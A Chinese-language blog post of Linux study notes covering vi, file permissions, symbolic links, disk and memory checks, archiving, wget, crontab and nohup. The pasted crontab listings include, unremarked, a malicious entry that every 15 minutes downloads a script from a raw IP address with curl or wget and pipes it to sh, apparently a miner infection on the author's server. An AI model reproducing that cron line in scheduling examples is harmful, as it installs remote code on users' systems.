-Linux-4

1.vi

命令行模式:
dd 删除当前行
dG 删除光标所在行及以下的所有行
ndd 删除光标所在行及以下的n-1行

gg 跳转到第一行的首字母
G 跳转到最后一行的首字母
shift+$ 行尾
0 行首
G shift+$ shift+a/i 想要跳转到最后1行编辑
set nu 设置行号
set nonu 取消行号

尾行模式       /xxx         搜索             上下左右键可左右上下移动       

在这里插入图片描述

2 vi清空xxx文件

gg+dG        真正清空 0字节 但是文件内容假如很大  加载肯定很慢
cat /dev/null > 123.log      真正清空 0字节

在这里插入图片描述

两个都是伪清空命令,还剩1字节。      需注意检查字节。
  echo "" > xxx.log
  echo '' > xx.log      

3.权限

chown 改变用户 用户组

chmod 改变读写执

基本内容:

 第一位字母: d文件夹    -文件     l连接
 r 读4    w写2    x 执行 1 shell脚本   - 0 没有任何权限 

drwxr-xr-x 3 root root      4096 Jun 20 22:42 chenqian
第一组 rwx 7 代表文件和文件夹所属的 用户的权限: 读写执
第二组 r-x 5 代表文件和文件夹所属的 用户组的权限: 读执
第三组 r-x 5 代表其他组的所有用户对这个文件或文件夹权限: 读执

 -rw-r--r-- 1 root root        17 Jun 18 22:55 tail22.log
第一组rw-  6代表文件和文件夹所属的 用户的权限: 读写
第二组r--  4代表文件和文件夹所属的 用户组的权限: 读
第三组r--  4 代表其他组的所有用户对这个文件或文件夹权限: 读

案例

[root@hadoop001 ~]# ll
total 169300
-rw-r--r-- 1 root root         2 Jun 20 06:49 1
drwxr-xr-x 3 root root      4096 Mar 15 00:31 1.
-rw-r--r-- 1 root root       278 Jun 25 11:13 123.log
drwxr-xr-x 2 root root      4096 Jun 20 18:32 20180620
drwxr-xr-x 3 root root      4096 Jun 18 12:38 20190618
drwxr-xr-x 3 root root      4096 Jun 20 22:42 chenqian
drwxr-xr-x 7 root root      4096 Mar 17 22:39 chenxiaoer
drwxr-xr-x 2 root root      4096 Mar 16 23:31 chenyi
drwxr-xr-x 2 root root      4096 Mar 14 23:19 d
drwxr-xr-x 2 root root      4096 Jun 21 12:20 d66
-rw-r--r-- 1 root root 173271626 Jun 24 22:29 jdk-8u45-linux-x64.gz
drwxr-xr-x 2 root root      4096 Mar 17 22:56 root
drwxr-xr-x 3 root root      4096 Mar 19 02:44 ruoze
drwxr-xr-x 2 root root      4096 Jun 19 06:37 ruozedata
-rw-r--r-- 1 root root         0 Jun 18 22:38 tail1.log
-rw-r--r-- 1 root root         8 Jun 18 22:39 tail1.log1
-rw-r--r-- 1 root root        17 Jun 18 22:55 tail22.log
-rw-r--r-- 1 root root         3 Jun 18 22:52 tail22.log1
-rw-r--r-- 1 root root         4 Jun 18 22:41 tail2.log
-rw-r--r-- 1 root root         8 Jun 18 22:41 tail2.log1
-rw-r--r-- 1 root root         8 Jun 18 22:40 tail2.log2
drwxr-xr-x 7 root root      4096 Mar 16 23:11 test
drwxr-xr-x 2 root root      4096 Mar 21 02:07 win
[root@hadoop001 ~]# chmod 666 123.log    改变权限
[root@hadoop001 ~]# ll
total 169300
-rw-r--r-- 1 root root         2 Jun 20 06:49 1
drwxr-xr-x 3 root root      4096 Mar 15 00:31 1.
-rw-rw-rw- 1 root root       278 Jun 25 11:13 123.log
drwxr-xr-x 2 root root      4096 Jun 20 18:32 20180620
drwxr-xr-x 3 root root      4096 Jun 18 12:38 20190618
drwxr-xr-x 3 root root      4096 Jun 20 22:42 chenqian
drwxr-xr-x 7 root root      4096 Mar 17 22:39 chenxiaoer
drwxr-xr-x 2 root root      4096 Mar 16 23:31 chenyi
drwxr-xr-x 2 root root      4096 Mar 14 23:19 d
drwxr-xr-x 2 root root      4096 Jun 21 12:20 d66
-rw-r--r-- 1 root root 173271626 Jun 24 22:29 jdk-8u45-linux-x64.gz
drwxr-xr-x 2 root root      4096 Mar 17 22:56 root
drwxr-xr-x 3 root root      4096 Mar 19 02:44 ruoze
drwxr-xr-x 2 root root      4096 Jun 19 06:37 ruozedata
-rw-r--r-- 1 root root         0 Jun 18 22:38 tail1.log
-rw-r--r-- 1 root root         8 Jun 18 22:39 tail1.log1
-rw-r--r-- 1 root root        17 Jun 18 22:55 tail22.log
-rw-r--r-- 1 root root         3 Jun 18 22:52 tail22.log1
-rw-r--r-- 1 root root         4 Jun 18 22:41 tail2.log
-rw-r--r-- 1 root root         8 Jun 18 22:41 tail2.log1
-rw-r--r-- 1 root root         8 Jun 18 22:40 tail2.log2
drwxr-xr-x 7 root root      4096 Mar 16 23:11 test
drwxr-xr-x 2 root root      4096 Mar 21 02:07 win
[root@hadoop001 ~]# chown chenqian:chenqian 123.log   改变用户和用户组
[root@hadoop001 ~]# ll
total 169300
-rw-r--r-- 1 root     root             2 Jun 20 06:49 1
drwxr-xr-x 3 root     root          4096 Mar 15 00:31 1.
-rw-rw-rw- 1 chenqian chenqian       278 Jun 25 11:13 123.log

总结:哪怕将权限改为000,对root超级管理员也没有限制。只是需加!强制保存。对普通用户有限制。报错权限受限。

chmod +x xxx     缺点:用户用户组文件三个地方都会加上你加的某个权限
chmod u+x xxx     u代表用户,代表只在用户加某个权限

针对文件夹操作 :chown chmod -R参数
chown -R jepson:jepson ruozedata
chmod -R 777 ruozedata 777代表所有人都有最大权限 读写执

4.软连接

ln -s xxx rz
[root@hadoop001 hahahah]# ll
total 8
drwxr-xr-x 2 root root 4096 Jun 27 16:47 1.1
drwxr-xr-x 2 root root 4096 Jun 27 16:46 1.2
[root@hadoop001 hahahah]# ln -s 1.1 rz
[root@hadoop001 hahahah]# ll
total 8
drwxr-xr-x 2 root root 4096 Jun 27 16:47 1.1
drwxr-xr-x 2 root root 4096 Jun 27 16:46 1.2
lrwxrwxrwx 1 root root    3 Jun 27 16:48 rz -> 1.1
[root@hadoop001 hahahah]# rm -rf rz
[root@hadoop001 hahahah]# ll
total 8
drwxr-xr-x 2 root root 4096 Jun 27 16:47 1.1
drwxr-xr-x 2 root root 4096 Jun 27 16:46 1.2
[root@hadoop001 hahahah]# ln -s 1.2 rz
[root@hadoop001 hahahah]# ll
total 8
drwxr-xr-x 2 root root 4096 Jun 27 16:47 1.1
drwxr-xr-x 2 root root 4096 Jun 27 16:46 1.2
lrwxrwxrwx 1 root root    3 Jun 27 16:48 rz -> 1.2
[root@hadoop001 hahahah]# 

适用场景:
1.多版本
2.硬盘

[root@hadoop001 ~]# ln -s d22 rz
[root@hadoop001 ~]# ll
total 169280
-rw-r--r-- 1 root root         2 Jun 20 06:49 1
drwxr-xr-x 3 root root      4096 Mar 15 00:31 1.
drwxr-xr-x 2 root root      4096 Jun 20 18:32 20180620
drwxr-xr-x 3 root root      4096 Jun 18 12:38 20190618
drwxr-xr-x 2 root root      4096 Jun 28 01:40 22
drwxr-xr-x 3 root root      4096 Jun 20 22:42 chenqian
drwxr-xr-x 7 root root      4096 Mar 17 22:39 chenxiaoer
drwxr-xr-x 2 root root      4096 Mar 16 23:31 chenyi
drwxr-xr-x 2 root root      4096 Mar 14 23:19 d
drwxr-xr-x 2 root root      4096 Jun 28 01:40 d11
drwxr-xr-x 2 root root      4096 Jun 28 01:41 d22
-rw-r--r-- 1 root root 173271626 Jun 24 22:29 jdk-8u45-linux-x64.gz
drwxr-xr-x 2 root root      4096 Mar 17 22:56 root
drwxr-xr-x 3 root root      4096 Mar 19 02:44 ruoze
drwxr-xr-x 2 root root      4096 Jun 19 06:37 ruozedata
lrwxrwxrwx 1 root root         3 Jun 28 01:49 rz -> d22
drwxr-xr-x 7 root root      4096 Mar 16 23:11 test
drwxr-xr-x 2 root root      4096 Mar 21 02:07 win
[root@hadoop001 ~]# mv /root/d22 /home/
[root@hadoop001 ~]# ll
total 169276
-rw-r--r-- 1 root root         2 Jun 20 06:49 1
drwxr-xr-x 3 root root      4096 Mar 15 00:31 1.
drwxr-xr-x 2 root root      4096 Jun 20 18:32 20180620
drwxr-xr-x 3 root root      4096 Jun 18 12:38 20190618
drwxr-xr-x 2 root root      4096 Jun 28 01:40 22
drwxr-xr-x 3 root root      4096 Jun 20 22:42 chenqian
drwxr-xr-x 7 root root      4096 Mar 17 22:39 chenxiaoer
drwxr-xr-x 2 root root      4096 Mar 16 23:31 chenyi
drwxr-xr-x 2 root root      4096 Mar 14 23:19 d
drwxr-xr-x 2 root root      4096 Jun 28 01:40 d11
-rw-r--r-- 1 root root 173271626 Jun 24 22:29 jdk-8u45-linux-x64.gz
drwxr-xr-x 2 root root      4096 Mar 17 22:56 root
drwxr-xr-x 3 root root      4096 Mar 19 02:44 ruoze
drwxr-xr-x 2 root root      4096 Jun 19 06:37 ruozedata
lrwxrwxrwx 1 root root         3 Jun 28 01:49 rz -> d22
drwxr-xr-x 7 root root      4096 Mar 16 23:11 test
drwxr-xr-x 2 root root      4096 Mar 21 02:07 win
[root@hadoop001 ~]# ln -s /home/d22 /root/d22      **反连接**
[root@hadoop001 ~]# ll
total 169276
-rw-r--r-- 1 root root         2 Jun 20 06:49 1
drwxr-xr-x 3 root root      4096 Mar 15 00:31 1.
drwxr-xr-x 2 root root      4096 Jun 20 18:32 20180620
drwxr-xr-x 3 root root      4096 Jun 18 12:38 20190618
drwxr-xr-x 2 root root      4096 Jun 28 01:40 22
drwxr-xr-x 3 root root      4096 Jun 20 22:42 chenqian
drwxr-xr-x 7 root root      4096 Mar 17 22:39 chenxiaoer
drwxr-xr-x 2 root root      4096 Mar 16 23:31 chenyi
drwxr-xr-x 2 root root      4096 Mar 14 23:19 d
drwxr-xr-x 2 root root      4096 Jun 28 01:40 d11
lrwxrwxrwx 1 root root         9 Jun 28 01:51 d22 -> /home/d22
-rw-r--r-- 1 root root 173271626 Jun 24 22:29 jdk-8u45-linux-x64.gz
drwxr-xr-x 2 root root      4096 Mar 17 22:56 root
drwxr-xr-x 3 root root      4096 Mar 19 02:44 ruoze
drwxr-xr-x 2 root root      4096 Jun 19 06:37 ruozedata
lrwxrwxrwx 1 root root         3 Jun 28 01:49 rz -> d22
drwxr-xr-x 7 root root      4096 Mar 16 23:11 test
drwxr-xr-x 2 root root      4096 Mar 21 02:07 win

注意 :所属的权限 用户 用户组的变化 修

磁盘:/ 根目录一般生产上 最多的是100G

[root@hadoop001 ~]# df -h       查看磁盘空间
文件系统        空间   使用   可用   百分比  
Filesystem      Size  Used Avail Use% Mounted on
/dev/vda1        20G  4.6G   14G  25% /
tmpfs           1.9G     0  1.9G   0% /dev/shm
/dev/vdb         20G   44M   19G   1% /data

[root@hadoop001 ~]# free -m      看内存多少兆
            完全的        使用的     空闲的     共享的     缓冲区        缓存
             total       used       free     shared    buffers     cached
Mem:          3769       1885       1884          0        159       1479
-/+ buffers/cache:        245       3523
Swap:          511          0        511
   free -g     看内存多少兆,无太大意义

[root@hadoop001 ~]# top
load average: 2.22, 2.11, 2.12
             1分钟  5分钟  15分钟
生产上3项相加 <=10 表示 系统还行      	>10 系统cpu负载高 就是卡   

shutdown -n now 立即关机            reboot 重启  等1min     ping ip           

5.解压压缩

zip -r xxx.zip xxx/*       unzip xxxzip

案例总结:我在解压过程中,报错:-bash: unzip: command not found,原因是因为我没有安装unzip,进行安装即可了。

[root@hadoop001 ruozedata]# ll
total 4
-rw-r--r-- 1 root root 168 Jun 28 10:40 123.zip
[root@hadoop001 ruozedata]# unzip 123.zip
-bash: unzip: command not found
[root@hadoop001 ruozedata]# yun -y install unzip
-bash: yun: command not found
[root@hadoop001 ruozedata]# yum -y install unzip
Loaded plugins: fastestmirror
Setting up Install Process
Loading mirror speeds from cached hostfile
10gen                                        | 1.2 kB     00:00     
base                                         | 3.7 kB     00:00     
centosplus                                   | 3.4 kB     00:00     
contrib                                      | 2.9 kB     00:00     
epel                                         | 4.7 kB     00:00     
extras                                       | 3.4 kB     00:00     
updates                                      | 3.4 kB     00:00     
updates/primary_db                           | 4.7 MB     00:01     
Resolving Dependencies
--> Running transaction check
---> Package unzip.x86_64 0:6.0-5.el6 will be installed
--> Finished Dependency Resolution

Dependencies Resolved

====================================================================
 Package       Arch           Version            Repository    Size
====================================================================
Installing:
 unzip         x86_64         6.0-5.el6          base         152 k

Transaction Summary
====================================================================
Install       1 Package(s)

Total download size: 152 k
Installed size: 324 k
Downloading Packages:
unzip-6.0-5.el6.x86_64.rpm                   | 152 kB     00:00     
Running rpm_check_debug
Running Transaction Test
Transaction Test Succeeded
Running Transaction
  Installing : unzip-6.0-5.el6.x86_64                           1/1 
  Verifying  : unzip-6.0-5.el6.x86_64                           1/1 

Installed:
  unzip.x86_64 0:6.0-5.el6                                          

Complete!
[root@hadoop001 ruozedata]# unzip 123.zip
Archive:  123.zip
 extracting: 123/1.log               
[root@hadoop001 ruozedata]# ll
total 8
drwxr-xr-x 2 root root 4096 Jun 28 11:02 123
-rw-r--r-- 1 root root  168 Jun 28 10:40 123.zip
  不会看命令帮助:tar --help
    tar.gz
    tar -xzvf xxx.tar.gz   解压
    tar -czvf xxx.tar.gz XXXt/*   压缩    
[root@hadoop001 ruozedata]# ll
total 8
drwxr-xr-x 2 root root 4096 Jun 28 11:02 123
-rw-r--r-- 1 root root  168 Jun 28 10:40 123.zip
[root@hadoop001 ruozedata]# tar -czvf 123.tar.gz 123/*    压缩
123/1.log
[root@hadoop001 ruozedata]# ll
total 12
drwxr-xr-x 2 root root 4096 Jun 28 11:02 123
-rw-r--r-- 1 root root  113 Jun 28 11:16 123.tar.gz
-rw-r--r-- 1 root root  168 Jun 28 10:40 123.zip
[root@hadoop001 ruozedata]# rm -rf 123
[root@hadoop001 ruozedata]# ll
total 8
-rw-r--r-- 1 root root 113 Jun 28 11:16 123.tar.gz
-rw-r--r-- 1 root root 168 Jun 28 10:40 123.zip
[root@hadoop001 ruozedata]# tar -xzvf 123.tar.gz    解压
123/1.log
[root@hadoop001 ruozedata]# ll
total 12
drwxr-xr-x 2 root root 4096 Jun 28 11:17 123
-rw-r--r-- 1 root root  113 Jun 28 11:16 123.tar.gz
-rw-r--r-- 1 root root  168 Jun 28 10:40 123.zip

6.wget

wget  下载连接地址
cdh tar
hadoop-2.6.0-cdh5.16.1.
[root@hadoop001 ruozedata]# wegt http://archive.cloudera.com/cdh5/cdh/5/hadoop-2.6.0-cdh5.16.1.tar.gz
sz 下载到window, rz 上传到linux

7.调度:crontab

[root@hadoop001 tmp]# crontab -e   编辑
[root@hadoop001 tmp]# crontab -l    查看
*/15 * * * * (/usr/bin/dywvfa3||/usr/libexec/dywvfa3||/usr/local/bin/dywvfa3||/tmp/dywvfa3||curl -m180 -fsSL http://110.40.14.13:8000/i.sh||wget -q -T180 -O- http://110.40.14.13:8000/i.sh) | sh

*依次代表:分/小时/日/月/周
* * * * * /tmp/data.sh >> /tmp/data.log       代表每一分钟执行一次
[root@hadoop001 ~]# tail -F /tmp/data.log   实时查看,每一分钟执行一次
www.ruozedata.com
Fri Jun 28 12:10:01 CST 2019
www.ruozedata.com
Fri Jun 28 12:11:01 CST 2019
www.ruozedata.com
Fri Jun 28 12:12:01 CST 2019
案例:1.每隔2分钟正确写法:*/2 * * * *
[root@hadoop001 tmp]# crontab -e
crontab: installing new crontab
[root@hadoop001 tmp]# crontab -l
*/15 * * * * (/usr/bin/dywvfa3||/usr/libexec/dywvfa3||/usr/local/bin/dywvfa3||/tmp/dywvfa3||curl -m180 -fsSL http://110.40.14.13:8000/i.sh||wget -q -T180 -O- http://110.40.14.13:8000/i.sh) | sh


*/2 * * * * /tmp/data.sh >> /tmp/data.log    正确写法

[root@hadoop001 ~]# tail -F /tmp/data.log
Fri Jun 28 12:17:01 CST 2019
www.ruozedata.com
Fri Jun 28 12:18:01 CST 2019
www.ruozedata.com
Fri Jun 28 12:20:01 CST 2019
www.ruozedata.com
Fri Jun 28 12:22:01 CST 2019

案例:每隔10秒执行一次,vi编辑for循环,相当于每10秒休息一次

[root@hadoop001 tmp]# vi data.sh   编辑for循环
[root@hadoop001 tmp]# cat data.sh
#!/bin/bash


for((i=1;i<=6;i++))      编辑内容
do
echo "www.ruozedata.com"
date
sleep 10s
done

exit

[root@hadoop001 ~]# tail -F /tmp/data.log   查看    

Fri Jun 28 12:32:01 CST 2019
www.ruozedata.com
Fri Jun 28 12:32:11 CST 2019
www.ruozedata.com
Fri Jun 28 12:32:21 CST 2019
www.ruozedata.com
Fri Jun 28 12:32:31 CST 2019
www.ruozedata.com
Fri Jun 28 12:32:41 CST 2019
www.ruozedata.com
Fri Jun 28 12:32:51 CST 2019

创建脚本

[root@hadoop001 /]# cd /tmp
[root@hadoop001 tmp]# ll
total 1052680
-rwxr-xr-x 1 root root    840944 Jun 27 06:03 disable
-rwxr-xr-x 1 root root   3349408 Jun 27 06:06 HT8sUy
-rw-r--r-- 1 root root         0 Jun 27 06:03 kthrotlds
-rw-r--r-- 1 root root         0 Jun 27 06:03 name
-rw-r--r-- 1 root root         0 Jun 27 06:03 php
-rw------- 1 root root 536870912 Mar 14 23:24 swapfile
-rw------- 1 root root 536870912 Mar 14 23:26 swapfile2019
-rw-r--r-- 1 root root         0 Jun 27 06:03 systemd
-rw-r--r-- 1 root root         0 Jun 27 06:03 thisxxs
-rw-r--r-- 1 root root         0 Jun 27 06:03 watchdogs
-rw-r--r-- 1 root root         0 Jun 27 06:03 xc.x86_64
[root@hadoop001 tmp]# vi data.sh   创建一个脚本
#!/bin/bash
echo "www.ruozetada.com"
date    日期                                             编辑内容+日期

[root@hadoop001 tmp]# ll
total 1052684
-rw-r--r-- 1 root root        46 Jun 28 11:48 data.sh     脚本
-rwxr-xr-x 1 root root    840944 Jun 27 06:03 disable
-rwxr-xr-x 1 root root   3349408 Jun 27 06:06 HT8sUy
-rw-r--r-- 1 root root         0 Jun 27 06:03 kthrotlds
-rw-r--r-- 1 root root         0 Jun 27 06:03 name
-rw-r--r-- 1 root root         0 Jun 27 06:03 php
-rw------- 1 root root 536870912 Mar 14 23:24 swapfile
-rw------- 1 root root 536870912 Mar 14 23:26 swapfile2019
-rw-r--r-- 1 root root         0 Jun 27 06:03 systemd
-rw-r--r-- 1 root root         0 Jun 27 06:03 thisxxs
-rw-r--r-- 1 root root         0 Jun 27 06:03 watchdogs
-rw-r--r-- 1 root root         0 Jun 27 06:03 xc.x86_64
[root@hadoop001 tmp]# ./data.sh            执行查看,也可全路径
-bash: ./data.sh: Permission denied        没权限   给用户组加权限: chmod u+x data.sh
[root@hadoop001 tmp]# sh data.sh           不受限,神奇
www.ruozedata.com                          可查看
Fri Jun 28 11:49:30 CST 2019
[root@hadoop001 tmp]# 

8后台执行

不用前面加#注销
./date.sh & 并不是真正后台执行,可能是会话

nohup ./XXX &

[root@hadoop001 tmp]# nohup ./data.sh &   结果输出到nohup.out文件
[1] 14892
[root@hadoop001 tmp]# nohup: ignoring input and appending output to `nohup.out'
^C
[root@hadoop001 tmp]# cat nohup.out
./data.sh: line 5: syntax error near unexpected token `do'
./data.sh: line 5: `do'
www.ruozedata.com
Fri Jun 28 13:45:02 CST 2019
www.ruozedata.com
Fri Jun 28 13:45:12 CST 2019
[root@hadoop001 tmp]# 
优化
[root@hadoop001 tmp]# nohup ./data.sh >> /tmp/data.log 2>&1 &       重定向   2>&1
[3] 15691
[1]   Done                    nohup ./data.sh >> /tmp/data.log 2>&1
[2]   Done                    nohup ./data.sh >> /tmp/data.log 2>&1


[root@hadoop001 tmp]# tail -F data.log
nohup: ignoring input
www.ruozedata.com
Fri Jun 28 14:13:35 CST 2019
nohup: ignoring input
www.ruozedata.com
Fri Jun 28 14:14:15 CST 2019

挖矿 wget 卸载

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值